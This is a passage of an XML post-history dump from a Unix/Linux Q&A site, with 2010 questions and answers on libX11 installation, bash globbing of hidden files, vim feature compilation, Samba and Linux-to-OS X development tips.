yes, different users can use a different session configuration (and can even define their own ones).  In GDM, try the Session drop-down for the available choices.&#xD;&#xA;&#xD;&#xA;Furthermore, it is possible to mix &amp; match several components, but that will sometimes result in less cooperation and a loss of &quot;smoothness&quot; in how things work.  One very well known example where things get exchanges is of course Compiz, which replaces Metacity if you want fancy desktop effects.  But there are lots of other changes possible." />
  <row Id="2195" PostHistoryTypeId="16" PostId="1156" RevisionGUID="3be57fda-4be1-46a5-96c4-338f8dc5d0d5" CreationDate="2010-08-24T03:34:21.913" UserId="-1" />
  <row Id="2196" PostHistoryTypeId="2" PostId="1157" RevisionGUID="bbd38461-a036-4ea9-842f-644925053812" CreationDate="2010-08-24T03:41:05.603" UserId="637" Text="If you also want access when you're away from home, I would consider using Dropbox or Ubuntu One for synchronized off-site storage and skip having your own server. " />
  <row Id="2197" PostHistoryTypeId="2" PostId="1158" RevisionGUID="8ba66591-00b3-4cd7-bac0-9b1c4646a8f8" CreationDate="2010-08-24T03:44:40.920" UserId="646" Text="The oldest machine that I currently have installed is an old HP Pavilion desktop that I picked up from a repossession for $20. It's my main web, DNS, DHCP, NFS, CUPS and SSH server as well as firewall and gateway.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&amp;lt;&amp;lt;&amp;lt; 21:43.02 Mon Aug 23 2010|~&#xD;&#xA;&amp;lt;&amp;lt;&amp;lt; aaron@achilles (Linux 2.6.26-2-686)|8171 screen:2&#xD;&#xA;&amp;gt;&amp;gt;&amp;gt; cat /proc/cpuinfo&#xD;&#xA;processor       : 0&#xD;&#xA;vendor_id       : GenuineIntel&#xD;&#xA;cpu family      : 6&#xD;&#xA;model           : 8&#xD;&#xA;model name      : Celeron (Coppermine)&#xD;&#xA;stepping        : 6&#xD;&#xA;cpu MHz         : 697.894&#xD;&#xA;cache size      : 128 KB&#xD;&#xA;fdiv_bug        : no&#xD;&#xA;hlt_bug         : no&#xD;&#xA;f0f_bug        : no&#xD;&#xA;coma_bug        : no&#xD;&#xA;fpu             : yes&#xD;&#xA;fpu_exception   : yes&#xD;&#xA;cpuid level     : 2&#xD;&#xA;wp              : yes&#xD;&#xA;flags           : fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov pat pse36 mmx fxsr sse up&#xD;&#xA;bogomips        : 1397.85&#xD;&#xA;clflush size    : 32&#xD;&#xA;power management:&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;It has 512MB of RAM with 100GB hard drive space. It's running Debian GNU/Linux stable. Kernel version is in the prompt." />
  <row Id="2198" PostHistoryTypeId="5" PostId="1152" RevisionGUID="513339a7-a71f-4192-913b-cbcf3edfd58f" CreationDate="2010-08-24T03:52:49.447" UserId="1077" Comment="added 2 characters in body" Text="maybe you can use &#xD;&#xA;&#xD;&#xA;    uname -a&#xD;&#xA;&#xD;&#xA;to get information about the kernel version and which OS you are using" />
  <row Id="2199" PostHistoryTypeId="2" PostId="1159" RevisionGUID="7629c170-a940-4871-abfc-03e4030cc6d1" CreationDate="2010-08-24T04:24:50.067" UserId="188" Text="Not totally foolproof, but halfway there:&#xD;&#xA;&#xD;&#xA;    xwininfo -root -children|grep kwin&#xD;&#xA;    xwininfo -root -children|grep gnome-panel&#xD;&#xA;&#xD;&#xA;(I can't help it if you feel like using gnome-panel under kwin, though ;-)&#xD;&#xA;Also, I find this very useful under Linux:&#xD;&#xA;&#xD;&#xA;    cat /etc/issue&#xD;&#xA;" />
  <row Id="2200" PostHistoryTypeId="2" PostId="1160" RevisionGUID="4ed5788c-a4d8-4e54-b0ae-f140bc775bb0" CreationDate="2010-08-24T04:41:45.457" UserId="1002" Text="I know there is a tool `resolveip` for this that comes with MySQL.  It should also be dead-simple to write something with e.g. Python or Perl..." />
  <row Id="2201" PostHistoryTypeId="2" PostId="1161" RevisionGUID="ece0d416-5770-44b8-8783-659bf8a6ad7b" CreationDate="2010-08-24T05:27:07.770" UserId="171" Text="Building on everyones post above, maybe run a simple script&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    lsb_release -idrc ; printenv DESKTOP_SESSION ; uname -a &#xD;&#xA;&#xD;&#xA;running that gives me &#xD;&#xA;&#xD;&#xA;    Distributor ID:	LinuxMint&#xD;&#xA;    Description:	Linux Mint 9 Isadora &#xD;&#xA;    Release:	9 Codename:	isadora &#xD;&#xA;    gnome &#xD;&#xA;    Linux judas327 2.6.32-24-generic-pae #39-Ubuntu SMP Wed Jul 28 07:39:26 UTC 2010 i686 GNU/Linux&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2202" PostHistoryTypeId="2" PostId="1162" RevisionGUID="ab86dd21-c81e-4f14-9203-afcd74c8750a" CreationDate="2010-08-24T05:41:04.380" UserId="1091" Text="Hello,&#xD;&#xA;&#xD;&#xA;i try to make &amp;&amp; make install package, but i see error: libX11.so.6 not found. Where can i get this lib?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="2203" PostHistoryTypeId="1" PostId="1162" RevisionGUID="ab86dd21-c81e-4f14-9203-afcd74c8750a" CreationDate="2010-08-24T05:41:04.380" UserId="1091" Text="libX11.so.6 Not found" />
  <row Id="2204" PostHistoryTypeId="3" PostId="1162" RevisionGUID="ab86dd21-c81e-4f14-9203-afcd74c8750a" CreationDate="2010-08-24T05:41:04.380" UserId="1091" Text="épackagingà" />
  <row Id="2205" PostHistoryTypeId="6" PostId="1114" RevisionGUID="8953c804-a57e-4e5a-8154-05f51986c76d" CreationDate="2010-08-24T06:04:46.437" UserId="85" Comment="edited tags" Text="émanàésystemöprogrammingàédevelopmentàédocumentationà" />
  <row Id="2206" PostHistoryTypeId="2" PostId="1163" RevisionGUID="f0c4fa9b-f52f-4cc2-8e02-4d527c50f6ca" CreationDate="2010-08-24T06:30:14.723" UserId="272" Text="You need to install the libX11 package:&#xD;&#xA;&#xD;&#xA;    $ rpm -qf /usr/lib/libX11.so.6&#xD;&#xA;    libX11-1.3.1-3.fc13.i686&#xD;&#xA;&#xD;&#xA;Just go &#xD;&#xA;&#xD;&#xA;    $ yum -y install libX11  &#xD;&#xA;&#xD;&#xA;One more things though: if you don't know how to find and install a library package, care to share why you are trying to compile a piece of software that is officially packaged for Fedora 13 in the most recent version?&#xD;&#xA;&#xD;&#xA;    $ yum info gpicview&#xD;&#xA;    Available Packages&#xD;&#xA;    Name        : gpicview&#xD;&#xA;    Arch        : x86_64&#xD;&#xA;    Version     : 0.2.1&#xD;&#xA;    Release     : 3.fc13&#xD;&#xA;    Size        : 93 k&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Summary     : Simple and fast Image Viewer for X&#xD;&#xA;    URL         : http://lxde.sourceforge.net/gpicview/&#xD;&#xA;    License     : GPLv2+&#xD;&#xA;    Description : Gpicview is an simple and image viewer with a simple and intuitive interface.&#xD;&#xA;                : It's extremely lightweight and fast with low memory usage. This makes it&#xD;&#xA;                : very suitable as default image viewer of desktop system. Although it is&#xD;&#xA;                : developed as the primary image viewer of LXDE, the Lightweight X11 Desktop&#xD;&#xA;                : Environment, it only requires GTK+ and can be used in any desktop environment.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2207" PostHistoryTypeId="6" PostId="1162" RevisionGUID="36096f72-5521-464d-83f8-be83fd02acec" CreationDate="2010-08-24T06:31:09.843" UserId="29" Comment="edited tags" Text="épackagingàéfedoraà" />
  <row Id="2208" PostHistoryTypeId="5" PostId="1133" RevisionGUID="d79afe02-e038-477c-bb0f-ed7b774f3741" CreationDate="2010-08-24T07:11:11.743" UserId="885" Comment="just wrote a proper POSIX version" Text="    set -- *; echo $#&#xD;&#xA;&#xD;&#xA;This is obviously generalizable to any glob. The `--` can be omitted if you're sure the first file doesn't begin with `-`.&#xD;&#xA;&#xD;&#xA;In a script, this has the sometimes unfortunate side effect of overwriting the positional parameters. You can work around this with a function (POSIX version, a ksh/bash/zsh version could be cleaner) (warning, typed directly into the browser):&#xD;&#xA;&#xD;&#xA;    count_words () {&#xD;&#xA;      set -- &quot;$@&quot;&#xD;&#xA;      eval $1=$(($#-1))&#xD;&#xA;    }&#xD;&#xA;    count_words number_of_files *&#xD;&#xA;    echo There are $number_of_files non-dot files in the current directory&#xD;&#xA;&#xD;&#xA;An alternative solution is `$(ls * | wc -l)`. If the glob is `*`, the command can be shortened to `$(ls | wc -l)`. Parsing the output of `ls` always makes me uneasy, but here it should work as long as your file names don't contain newlines, or your `ls` escapes them. And `$(ls * 2&gt;/dev/null | wc -l)` has the advantage of handling the case of a non-matching glob gracefully (i.e., it returns 0 in that case, whereas the `set *` method requires fiddly testing if the glob might be empty).&#xD;&#xA;" />
  <row Id="2209" PostHistoryTypeId="2" PostId="1164" RevisionGUID="f71957e8-b93c-4cd4-828e-9abf235ed78b" CreationDate="2010-08-24T07:26:20.273" UserId="57" Text="I am trying to use [clewn][1] (Implementation of full gdb support in the vim editor ).   &#xD;&#xA;But my vim I have on my box don't have netbeans_intg feature enabled. is it possible to enable it without installing vim? &#xD;&#xA;I am using cygwin.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://clewn.sourceforge.net/" />
  <row Id="2210" PostHistoryTypeId="1" PostId="1164" RevisionGUID="f71957e8-b93c-4cd4-828e-9abf235ed78b" CreationDate="2010-08-24T07:26:20.273" UserId="57" Text="how to add feature to vim if its not comipled whith that feature?" />
  <row Id="2211" PostHistoryTypeId="3" PostId="1164" RevisionGUID="f71957e8-b93c-4cd4-828e-9abf235ed78b" CreationDate="2010-08-24T07:26:20.273" UserId="57" Text="évimàécygwinà" />
  <row Id="2212" PostHistoryTypeId="2" PostId="1165" RevisionGUID="0ecb97e9-be71-4891-975f-61bca7a4a56a" CreationDate="2010-08-24T08:05:55.940" UserId="659" Text="Despite the fact that X.org is 20+ years old, what is it exactly that you need from a windows server that it doesn't provide? You have OpenGL support, anti-aliased fonts, double buffering, spiffy translucent composite windows, hardware-accelerated video playback. You can even play some DirectX games on it with wine if you're into that. What makes an X11 server 'modern' in your opinion? &#xD;&#xA;&#xD;&#xA;Writing an X11 server is hard. Developing it and adding features and hacking on top of it for 20 years to keep it relevant is even harder. The barrier of entry for X server programming is high, and I think there are not THAT many people hacking on it. In fact, the crucial point of X.org is the ongoing effort to refactor and modularize the existing code mess into a more manageable infrastructure that will allow for easier development and implementation of new features.&#xD;&#xA;&#xD;&#xA;While the 'let's rewrite it' thing might look interesting, I think [there's not really a point to it][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.joelonsoftware.com/articles/fog0000000069.html" />
  <row Id="2213" PostHistoryTypeId="5" PostId="1164" RevisionGUID="6704a1df-d130-4ce1-83c2-c92a7242e0c4" CreationDate="2010-08-24T08:07:24.080" UserId="57" Comment="added 104 characters in body" Text="I am trying to use [clewn][1] (Implementation of full gdb support in the vim editor ).   &#xD;&#xA;But my vim I have on my box don't have netbeans_intg feature enabled. is it possible to enable it without installing vim? &#xD;&#xA;I am using cygwin.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;to fix it i have recompiled vim. But wondering if its possible without full compilation of vim.&#xD;&#xA;&#xD;&#xA;  [1]: http://clewn.sourceforge.net/" />
  <row Id="2214" PostHistoryTypeId="5" PostId="1163" RevisionGUID="0d608bad-531e-449c-92ef-80f19bc37bf0" CreationDate="2010-08-24T09:17:46.083" UserId="272" Comment="deleted 1 characters in body" Text="You need to install the libX11 package:&#xD;&#xA;&#xD;&#xA;    $ rpm -qf /usr/lib/libX11.so.6&#xD;&#xA;    libX11-1.3.1-3.fc13.i686&#xD;&#xA;&#xD;&#xA;Just go &#xD;&#xA;&#xD;&#xA;    $ yum -y install libX11  &#xD;&#xA;&#xD;&#xA;One more thing though: if you don't know how to find and install a library package, care to share why you are trying to compile a piece of software that is officially packaged for Fedora 13 in the most recent version?&#xD;&#xA;&#xD;&#xA;    $ yum info gpicview&#xD;&#xA;    Available Packages&#xD;&#xA;    Name        : gpicview&#xD;&#xA;    Arch        : x86_64&#xD;&#xA;    Version     : 0.2.1&#xD;&#xA;    Release     : 3.fc13&#xD;&#xA;    Size        : 93 k&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Summary     : Simple and fast Image Viewer for X&#xD;&#xA;    URL         : http://lxde.sourceforge.net/gpicview/&#xD;&#xA;    License     : GPLv2+&#xD;&#xA;    Description : Gpicview is an simple and image viewer with a simple and intuitive interface.&#xD;&#xA;                : It's extremely lightweight and fast with low memory usage. This makes it&#xD;&#xA;                : very suitable as default image viewer of desktop system. Although it is&#xD;&#xA;                : developed as the primary image viewer of LXDE, the Lightweight X11 Desktop&#xD;&#xA;                : Environment, it only requires GTK+ and can be used in any desktop environment.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2215" PostHistoryTypeId="6" PostId="1030" RevisionGUID="e42746ef-e4bf-406d-8cef-ad89905f48f0" CreationDate="2010-08-24T09:34:07.823" UserId="659" Comment="edited tags" Text="éusersàéfileöserveràéfileösharingà" />
  <row Id="2216" PostHistoryTypeId="2" PostId="1166" RevisionGUID="15c70ec9-8d0e-493c-8dfb-db744b14db98" CreationDate="2010-08-24T10:09:09.993" UserId="412" Text="From a [Unicode and UTF-8 FAQ for UNIX/Linux][0]: You can get a list of all locales installed on your system (usually in /usr/lib/locale/) with the command `locale -a`. Set the environment variable `LANG` to the name of your preferred locale.&#xD;&#xA;&#xD;&#xA;Konsole supports whatever your system supports - the important thing is that you export `LANG` in your shell so that the programs you run display their characters using the correct locale.&#xD;&#xA;&#xD;&#xA;  [0]: http://www.cl.cam.ac.uk/~mgk25/unicode.html" />
  <row Id="2217" PostHistoryTypeId="2" PostId="1167" RevisionGUID="66641542-8cdd-4940-9238-a8d372a1c622" CreationDate="2010-08-24T10:14:53.340" UserId="412" Text="No, it's not possible. vim doesn't support compiled-code plugins, and as you've discovered, vim script plugins can depend on compiled-in features which you may not have." />
  <row Id="2218" PostHistoryTypeId="2" PostId="1168" RevisionGUID="886f5a4a-f9c5-4e16-8fa6-383af976fab9" CreationDate="2010-08-24T10:16:48.470" UserId="1170" Text="i want to glob every hidden file and directory, but not the current (`.`) and parent directory (`..`).&#xD;&#xA;&#xD;&#xA;i am using bash.&#xD;&#xA;&#xD;&#xA;observer current behaviour&#xD;&#xA;&#xD;&#xA;    $ ls -a&#xD;&#xA;    .  ..  ...a  ...aa  ..a  ..aa  .a  .aa  .aaa  a&#xD;&#xA;    $ echo *&#xD;&#xA;    a&#xD;&#xA;    $ echo .*&#xD;&#xA;    . .. ...a ...aa ..a ..aa .a .aa .aaa&#xD;&#xA;&#xD;&#xA;i would like `.*` to behave like this&#xD;&#xA;&#xD;&#xA;    $ echo .*&#xD;&#xA;    ...a ...aa ..a ..aa .a .aa .aaa&#xD;&#xA;&#xD;&#xA;there is the shell option dotglob&#xD;&#xA;&#xD;&#xA;    $ shopt -s dotglob&#xD;&#xA;&#xD;&#xA;that works in a way that now i can `*` to glob everything (hidden or not) but not `.` and `..`&#xD;&#xA;&#xD;&#xA;    $ echo *&#xD;&#xA;    ...a ...aa ..a ..aa .a .aa .aaa a&#xD;&#xA;&#xD;&#xA;but now i can't differ between hidden or not. also, `.*` still globs `.` and `..`&#xD;&#xA;&#xD;&#xA;    $ echo .*&#xD;&#xA;    . .. ...a ...aa ..a ..aa .a .aa .aaa&#xD;&#xA;&#xD;&#xA;is there a way to make `.*` not expand to `.` and `..`?" />
  <row Id="2219" PostHistoryTypeId="1" PostId="1168" RevisionGUID="886f5a4a-f9c5-4e16-8fa6-383af976fab9" CreationDate="2010-08-24T10:16:48.470" UserId="1170" Text="how to glob every hidden file except current and parent directory" />
  <row Id="2220" PostHistoryTypeId="3" PostId="1168" RevisionGUID="886f5a4a-f9c5-4e16-8fa6-383af976fab9" CreationDate="2010-08-24T10:16:48.470" UserId="1170" Text="ébashà" />
  <row Id="2221" PostHistoryTypeId="5" PostId="1164" RevisionGUID="ebf0a87d-9e14-450a-b2c8-0343aec8e52f" CreationDate="2010-08-24T10:20:01.350" UserId="138" Comment="grammar and spelling fixes" Text="I am trying to use [clewn][1] (full gdb support in the vim editor), but the vim I have on my box doesn't have the `netbeans_intg` feature enabled. Is it possible to enable it without recompiling vim? &#xD;&#xA;&#xD;&#xA;I am using Cygwin.&#xD;&#xA;&#xD;&#xA;**EDIT**: I did fix it by recompiling vim, but I was wondering if there were an easier way.&#xD;&#xA;&#xD;&#xA;  [1]: http://clewn.sourceforge.net/" />
  <row Id="2222" PostHistoryTypeId="4" PostId="1164" RevisionGUID="ebf0a87d-9e14-450a-b2c8-0343aec8e52f" CreationDate="2010-08-24T10:20:01.350" UserId="138" Comment="grammar and spelling fixes" Text="How to add feature to Vim if its not compiled whith that feature?" />
  <row Id="2223" PostHistoryTypeId="2" PostId="1169" RevisionGUID="2e174099-6acc-4a3f-967a-0193f90fca39" CreationDate="2010-08-24T10:25:44.557" UserId="125" Text="What I recommended if you're also interested in developing cross-platform applications is the [Nokia Qt SDK][1] which provides the [Qt framework][2] and other tools, which from my experience has one of the best documentations available, see http://doc.qt.nokia.com/ and http://qt.nokia.com/developer&#xD;&#xA;&#xD;&#xA;Some videos to watch: [this][3] and [this][4]&#xD;&#xA;&#xD;&#xA;For understanding what Qt is and what you can do with it check out: http://qt.nokia.com/&#xD;&#xA;&#xD;&#xA;Also Qt is the framework of choice to build apps for [MeeGo][5] platform. (watch [this][6])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.forum.nokia.com/Develop/Qt/Tools/&#xD;&#xA;  [2]: http://qt.nokia.com&#xD;&#xA;  [3]: http://www.youtube.com/qtstudios#p/u/23/p0xiKBEx8RA&#xD;&#xA;  [4]: http://www.youtube.com/user/ICSNetwork#p/u/19/ojZQFZoLTRU&#xD;&#xA;  [5]: http://www.meego.com&#xD;&#xA;  [6]: http://www.youtube.com/user/ICSNetwork#p/u/0/TY-HHfYeukk" />
  <row Id="2224" PostHistoryTypeId="2" PostId="1170" RevisionGUID="b3874730-1106-4470-a43d-e4d31424d25f" CreationDate="2010-08-24T10:31:14.523" UserId="922" Text="If you need to edit a particularly long command line in bash &#xD;&#xA;    &#xD;&#xA;    ^X^E (Ctrl-X Ctrl-E) &#xD;&#xA;&#xD;&#xA;will open it in the editor ($EDITOR).&#xD;&#xA;&#xD;&#xA;In zsh you can get the same behaviour by adding this to .zshrc:&#xD;&#xA;&#xD;&#xA;    autoload edit-command-line&#xD;&#xA;    zle -N edit-command-line&#xD;&#xA;    bindkey '^X^e' edit-command-line &#xD;&#xA;" />
  <row Id="2225" PostHistoryTypeId="16" PostId="1170" RevisionGUID="b3874730-1106-4470-a43d-e4d31424d25f" CreationDate="2010-08-24T10:31:14.523" UserId="-1" />
  <row Id="2226" PostHistoryTypeId="2" PostId="1171" RevisionGUID="62bd16a1-91ba-4237-ab8c-8bf96abfe5c2" CreationDate="2010-08-24T11:00:21.550" UserId="188" Text="    ls -1a|egrep -v '^(\.|\.\.)$'" />
  <row Id="2227" PostHistoryTypeId="2" PostId="1172" RevisionGUID="57610014-2c0e-4f97-8abc-ce3548f42876" CreationDate="2010-08-24T11:10:35.963" UserId="1148" Text="Are you just looking for files? Are you in a position to use find?&#xD;&#xA; &#xD;&#xA;Something like:&#xD;&#xA;   &#xD;&#xA;find . -maxdepth 1 -name &quot;.*&quot; -f -printf &quot;%P \n&quot;" />
  <row Id="2228" PostHistoryTypeId="2" PostId="1173" RevisionGUID="605be7c6-6d16-4113-a61b-b64b2a8d3eb4" CreationDate="2010-08-24T11:42:46.707" UserId="160" Text="Try&#xD;&#xA;&#xD;&#xA;    ls -ad .[a-zA-Z0-9]*&#xD;&#xA;&#xD;&#xA;You can then define an alias if you don't want to type it all the time:&#xD;&#xA;&#xD;&#xA;    alias lsa='-ad .[a-zA-Z0-9]*'" />
  <row Id="2229" PostHistoryTypeId="5" PostId="1173" RevisionGUID="b3b1eac4-72ee-4d22-a3d5-e5f11b1104e1" CreationDate="2010-08-24T11:59:12.337" UserId="160" Comment="Added general case." Text="Try&#xD;&#xA;&#xD;&#xA;    ls -A&#xD;&#xA;&#xD;&#xA;for the `ls` command.  More generally,&#xD;&#xA;&#xD;&#xA;    &lt;command&gt; .[a-zA-Z0-9]* [a-zA-Z0-9]*" />
  <row Id="2230" PostHistoryTypeId="2" PostId="1174" RevisionGUID="7fdde78f-3fef-4f20-8dd9-adaae1f73888" CreationDate="2010-08-24T12:53:35.643" UserId="102" Text="You can use the `GLOBIGNORE` variable to hide `.` and `..`. This does automatically also set the `dotglob` option, so `*` now matches both hidden and non-hidden files. To get only non-hidden files you can explicitly request for the name not to start with a `.`.&#xD;&#xA;&#xD;&#xA;See this example:&#xD;&#xA;&#xD;&#xA;    $ ls -a&#xD;&#xA;    .  ..  a  .a  ..a&#xD;&#xA;    $ GLOBIGNORE=&quot;. ..&quot;&#xD;&#xA;    $ echo * #all (hidden and non-hidden but not . and ..)&#xD;&#xA;    a .a ..a&#xD;&#xA;    $ echo .* #all (only hidden)&#xD;&#xA;    .a ..a&#xD;&#xA;    $ echo [^.]* #all (only non-hidden)&#xD;&#xA;    a&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2231" PostHistoryTypeId="2" PostId="1175" RevisionGUID="57008a67-a087-411a-85b6-159fefe69be3" CreationDate="2010-08-24T12:58:19.917" UserId="595" Text="The one I'm currently running on is reasonably old.&#xD;&#xA;&#xD;&#xA;    processor    : 0&#xD;&#xA;    vendor_id    : GenuineIntel&#xD;&#xA;    cpu family   : 6&#xD;&#xA;    model        : 8&#xD;&#xA;    model name   : Pentium III (Coppermine)&#xD;&#xA;    stepping     : 10&#xD;&#xA;    cpu MHz      : 1004.123&#xD;&#xA;    cache size   : 256 KB&#xD;&#xA;    fdiv_bug     : no&#xD;&#xA;    hlt_bug      : no&#xD;&#xA;    f00f_bug     : no&#xD;&#xA;    coma_bug     : no&#xD;&#xA;    fpu          : yes&#xD;&#xA;    fpu_exception : yes&#xD;&#xA;    cpuid level  : 2&#xD;&#xA;    wp           : yes&#xD;&#xA;    flags        : fpu vme de pse tsc msr pae mce cx8 sep mtrr pge mca cmov pse36 mmx fxsr sse up&#xD;&#xA;    bogomips     : 2009.92&#xD;&#xA;    clflush size : 32&#xD;&#xA;    cache_alignment : 32&#xD;&#xA;    address sizes: 36 bits physical, 32 bits virtual&#xD;&#xA;    power management:&#xD;&#xA;&#xD;&#xA;384 MB RAM, less than 80 GB hard drive. Currently running Debian Testing. I once installed AntiX (based on Debian) on it, and it felt far newer than it is, but then I began to miss my GNOME environment." />
  <row Id="2232" PostHistoryTypeId="2" PostId="1176" RevisionGUID="eb235c2c-2f2a-4649-8aab-5175adec03c6" CreationDate="2010-08-24T13:09:27.373" UserId="1175" Text="I've recently installed Ubuntu Server 10. I already have configured the basics and now I want to associate Windows and Mac OSx machines with the users created on ubuntu so that when I login in one of these machines, the network be configured automatically with user home directory and permissions.&#xD;&#xA;&#xD;&#xA;Also, in Mac machines I want to automatically mount the network when I login.&#xD;&#xA;&#xD;&#xA;I will apreciate if someone provide me some resources and best pratices to do such thing.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="2233" PostHistoryTypeId="1" PostId="1176" RevisionGUID="eb235c2c-2f2a-4649-8aab-5175adec03c6" CreationDate="2010-08-24T13:09:27.373" UserId="1175" Text="Which steps I have to follow to configure Ubuntu server with mac and windows workstations?" />
  <row Id="2234" PostHistoryTypeId="3" PostId="1176" RevisionGUID="eb235c2c-2f2a-4649-8aab-5175adec03c6" CreationDate="2010-08-24T13:09:27.373" UserId="1175" Text="éubuntuàéloginàéfileöserverà" />
  <row Id="2235" PostHistoryTypeId="5" PostId="1036" RevisionGUID="d2bad79f-82f7-4418-8a68-827a596d6c5c" CreationDate="2010-08-24T13:12:37.367" UserDisplayName="Mark D" Comment="added 10 characters in body" Text="My personal favorite is &#xD;&#xA;&#xD;&#xA;find . -name &lt;i&gt;filename&lt;/i&gt; | xargs grep -in '&lt;i&gt;pattern to search for&lt;/i&gt;'&#xD;&#xA;&#xD;&#xA;What the above command does is find a file of name x and then searches said file for whatever pattern you are looking for. Incredibly useful if you are looking for a particular bit of code in a file that's somewhere in your subdirectories." />
  <row Id="2236" PostHistoryTypeId="5" PostId="1173" RevisionGUID="20b06162-474c-4b08-80a2-36452429b9ac" CreationDate="2010-08-24T13:18:14.967" UserId="160" Comment="Added underscores; added 1 characters in body" Text="Try&#xD;&#xA;&#xD;&#xA;    ls -A&#xD;&#xA;&#xD;&#xA;for the `ls` command.  More generally,&#xD;&#xA;&#xD;&#xA;    &lt;command&gt; .[a-zA-Z0-9_]* [a-zA-Z0-9_]*&#xD;&#xA;&#xD;&#xA;or equivalently&#xD;&#xA;&#xD;&#xA;    &lt;command&gt; .[[:alnum:]]* [[:alnum:]]* _*" />
  <row Id="2237" PostHistoryTypeId="6" PostId="1168" RevisionGUID="777c9334-9df8-49e5-a24a-3ec17f3e06c7" CreationDate="2010-08-24T13:35:31.703" UserId="102" Comment="edited tags" Text="écommandölineàéshellàébashà" />
  <row Id="2238" PostHistoryTypeId="5" PostId="1173" RevisionGUID="38c2c3d1-7956-4b3b-9738-c81bc86a7660" CreationDate="2010-08-24T13:58:20.017" UserId="160" Comment="Withdrawing answer" Text="**This answer (while it does work) does not properly answer the OP and I withdraw it.**&#xD;&#xA;&#xD;&#xA;Try&#xD;&#xA;&#xD;&#xA;    ls -A&#xD;&#xA;&#xD;&#xA;for the `ls` command.  More generally,&#xD;&#xA;&#xD;&#xA;    &lt;command&gt; .[a-zA-Z0-9_]* [a-zA-Z0-9_]*&#xD;&#xA;&#xD;&#xA;or equivalently&#xD;&#xA;&#xD;&#xA;    &lt;command&gt; .[[:alnum:]]* [[:alnum:]]* _*" />
  <row Id="2239" PostHistoryTypeId="2" PostId="1177" RevisionGUID="fd32b6f7-8aa7-404c-81db-2447d156635f" CreationDate="2010-08-24T14:07:52.527" UserId="1103" Text="For serving files to Windows machines you need [Samba][1]. &#xD;&#xA;&#xD;&#xA;Samba can also handle user identities, but I think that Samba's passwords and access rights are entirely separate from those of regular Linux users.&#xD;&#xA;[This][2] piece of documentation makes me think so, go to *&quot;Samba as a Primary Domain Controller&quot;*.&#xD;&#xA;&#xD;&#xA;Disclaimer: I have really no knowledge on the subject. I have neither installed nor administrated any Samba server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Samba_(software)&#xD;&#xA;  [2]: http://www.oregontechsupport.com/articles/samba.php" />
  <row Id="2240" PostHistoryTypeId="5" PostId="726" RevisionGUID="40f9cec2-047b-48cb-9a28-ae0dd671d43f" CreationDate="2010-08-24T14:27:17.343" UserId="138" Comment="various tweaks, fixes, and expansions" Text="I did the same, years ago.  Off the top of my head, then:&#xD;&#xA;&#xD;&#xA; * Your average desktop Linux has a richer userland than that of any other *ix I've used.  You'll probably miss different tools than I did, so no sense getting specific about recommendations for replacements.  Instead, just install &lt;a href=&quot;http://finkproject.org/&quot;&gt;Fink&lt;/a&gt; first thing.  Fink provides a Debian-like APT based software repository for OS X.  Not everything you might want is available through Fink, but a whole lot is.&#xD;&#xA;&#xD;&#xA; [MacPorts](http://www.macports.org/) is a popular alternative to Fink, taking more of a *BSD Ports approach.&#xD;&#xA;&#xD;&#xA; * As of Snow Leopard, the default compiler builds 64-bit binaries by default, instead of 32-bit as in previous versions of the OS.  This can cause problems in several ways: maybe you have old 32-bit libraries you can't rebuild but have to link to, maybe you're still running your system in 32-bit mode, etc.  One way to force a 32-bit build is to specify `gcc-4.0` instead of `gcc`, since `gcc` is linked to the newer 64-bit `gcc-4.2`.  `gcc-4.0` is the old 32-bits-by-default Leopard compiler.  Another way is to try to remember to add `-m32` to all your CFLAGS, CXXFLAGS, LDFLAGS...&#xD;&#xA;&#xD;&#xA; * Dynamic linkage is vastly different.  If you're the sort to write your `ld` commands by hand, it's time to break that habit.  You should instead be linking programs and libraries through the compiler, or using an intermediary like `libtool`.  These take care of the niggly platform-specific link scheme differences, so you can save the brain power for learning programs you can't abstract away with portable mechanisms.&#xD;&#xA;&#xD;&#xA; For instance, you'll need to update your muscle memory so you type `otool -L someprogram` instead of `ldd someprogram` to figure out what libraries `someprogram` is linked to.&#xD;&#xA;&#xD;&#xA; * OS X handles the CPU compatibility issue differently than Linux.&#xD;&#xA;&#xD;&#xA; On a 64-bit Linux where you have to also support 32-bit for whatever reason, you end up with two copies of things like libraries that need to be in both formats, with the 64-bit versions off in a `lib64` directory parallel to the traditional `lib` directory.&#xD;&#xA;&#xD;&#xA; OS X solves this problem differently, with the Universal binary concept, which lets you put multiple binaries into a single file.  You can currently have up to 4 CPU types supported by a single executable: 32- and 64-bit PowerPC, plus 32- and 64-bit Intel.  It's easy to build Universal binaries with Xcode, but a bit of a pain with command line tools.  You probably can't avoid learning how to do this during this present transition to 64-bit computing, however.&#xD;&#xA;&#xD;&#xA; * If you install any libraries through [MacPorts](http://www.macports.org/), they are installed under `/opt` instead of `/usr` or `/usr/local`.  Add this to your `.profile`/`.bashrc`.&#xD;&#xA;&#xD;&#xA;        # Tell your linker(dyld) where to find MacPorts-installed libs&#xD;&#xA;        export DYLD_LIBRARY_PATH=/opt/local/lib:$DYLD_LIBRARY_PATH&#xD;&#xA;&#xD;&#xA;        # Add /opt to your gcc and g++ include paths&#xD;&#xA;        export C_INCLUDE_PATH=/opt/local/include:$C_INCLUDE_PATH&#xD;&#xA;        export CPLUS_INCLUDE_PATH=/opt/local/include:$CPLUS_INCLUDE_PATH&#xD;&#xA;&#xD;&#xA; * The compiler and other developer tools aren't installed on OS X by default. Also, old versions of these tools are often not available at the Apple developer site. There's an &quot;Optional Installs&quot; item on the original OS CD/DVD that came with the computer or the OS X upgrade disk that has 